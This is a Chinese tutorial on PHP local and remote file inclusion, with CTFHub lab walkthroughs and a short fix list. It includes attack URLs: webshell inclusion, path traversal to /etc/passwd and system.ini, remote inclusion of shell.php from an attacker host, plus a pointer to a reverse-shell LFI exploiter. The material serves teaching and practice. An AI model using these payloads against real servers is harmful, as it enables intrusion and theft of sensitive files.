目录
前言
什么是文件包含漏洞
文件包含漏洞类型
本地文件包含
远程文件包含
PHP相关函数和伪协议
函数
PHP伪协议
CTF题目案例
文件包含漏洞挖掘与利用
URL关键字
代码审计
利用流程
文件包含漏洞修复方案
前言
随着网站业务的需求,程序开发人员一般希望代码更灵活,所以将被包含的文件设置为变量,用来进行动态调用,但是正是这种灵活性通过动态变量的方式引入需要包含的文件时,用户对这个变量可控而且服务端又没有做合理的校验或者校验被绕过就造成了文件包含漏洞。 文件包含漏洞也叫“任意文件访问漏洞”,会造成服务端敏感文件被访问。
什么是文件包含漏洞
文件包含漏洞是代码注入的一种。其原理就是注入一段用户能控制的脚本或代码,并让服务器端执行,代码注入的典型代表就是文件包含File inclusion。文件包含可能会出现在jsp、php、asp等语言中。但是asp、jsp文件只能本地包含,而php既可以本地包含也可以远程包含。服务器通过函数去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到邪恶的目的。
文件包含漏洞类型
文件包含漏洞有两种类型,一种是本地文件包含 Local File Inclusion :LFI(目录遍历漏洞/任意文件访问漏洞),还有一种是远程文件包含 Remote File Inclusion :RFI
本地文件包含
本地包含
这是一个名为footer.php的文件,内容如下。
这是一个名为main.php的文件,内容如下,main.php通过include 去引用了footer.php文件里的内容。
最终页面main.php呈现效果如下:
动态包含
它通过GET函数获取文件名,假如文件名存在,那他将包含这个文件。我们把这个文件保存为index.php,然后通过传参去包含footer.php文件。最终呈现效果如下:
包含恶意代码或图片马
他还可以包含恶意代码或图片马,假如这里的shell.php是恶意文件的话,
列如:
http://localhost/fileinc/include.php?file=shell.php
http://localhost:7298/upload-labs/include.php?file=upload/shell.gif
我们可以利用这种包含直接连接中国蚁剑。
包含敏感文件
列如:
http://localhost/fileinc/include.php?file=C:\Windows\system.ini
让文件包含漏洞能够访问系统的敏感文件。
远程文件包含
想要打开服务器的远程文件包含功能,php.ini文件中的这两项功能必须为on。
远程文件包含的格式一般如下:
http://localhost/fileinc/include.php?file=http://远程IP/1.txt
http://localhost/fileinc/include.php?file=http://远程IP/alert.html
http://localhost/fileinc/include.php?file=http://远程IP/shell.php
如图:我们远程访问了目标服务器1.txt文件的内容。
PHP相关函数和伪协议
函数
PHP伪协议
CTF题目案例
我们打开CTFhub的官网,官网地址:CTFHub
我们先来做第一关文件包含,打开漏洞环境,打开后出现如下环境:
他这里通过Get请求file参数,然后去包含这个文件,他这里还提示我们有个shell.txt文件。
那我们构造如下语句去包含这个文件试试:
显示如上,我们点击这个shell,出现如下页面:
这个很显然是一个一句话木马,那我们可以直接用蚁剑去连接,密码就是ctfhub,不过我们这里直接用更简单粗暴的方式去访问:
我们通过ctfhub直接传参执行系统命令,查看到当前目录下有两个文件:
很显然这里没有什么flag。
我们直接通过find命令去查找文件名中包含有flag的文件,如下图找到好多文件名中有flag的文件,那会不会是最后这个flag呢?
我们通过cat命令去查看这个flag文件,果然出现了flag:
我们来做第二关:
打开页面如下图所示:
我们点击phpinfo去访问:
然后我们构造下面的语句,去请求文件流:
然后打开BurpSuite抓包:
将其发送到Repeater模块:
我们将GET改为POST请求,因为GET请求是没有办法发送我们要执行的命令的。
然后我们在下面添加语句,执行查看命令。
发包,回显如下:
然后我们去查看他的根目录:
回显:
发现有个flag文件:
我们去查看这个flag文件:
回显出了flag:
接下来我们来做第三关:
打开后,页面如下:
我们继续构造下面语句传输文件流:
抓包:
老样子,先发送到Repeater模块:
然后GET请求改成POST,加上查看语句,回显:
我们看到有个flag文件,我们查看:
文件包含漏洞挖掘与利用
URL关键字
我们可以通过url关键字去访问文件,列如:http://LinuxIP/include.php?file=../../../../../etc
/passwd,通过这些去查看有没有文件包含漏洞。
代码审计
我们可以通过代码审计去发现一些文件包含漏洞。
利用流程
有这么一个LFI Suite的工具,他可以直接将你发现的文件包含漏洞直接利用,返回给你一个shell。
下载地址:GitHub - D35m0nd142/LFISuite: Totally Automatic LFI Exploiter (+ Reverse Shell) and Scanner
文件包含漏洞修复方案
1、PHP配置
2、禁用动态包含
3、过滤协议、目录字符
4、设置文件白名单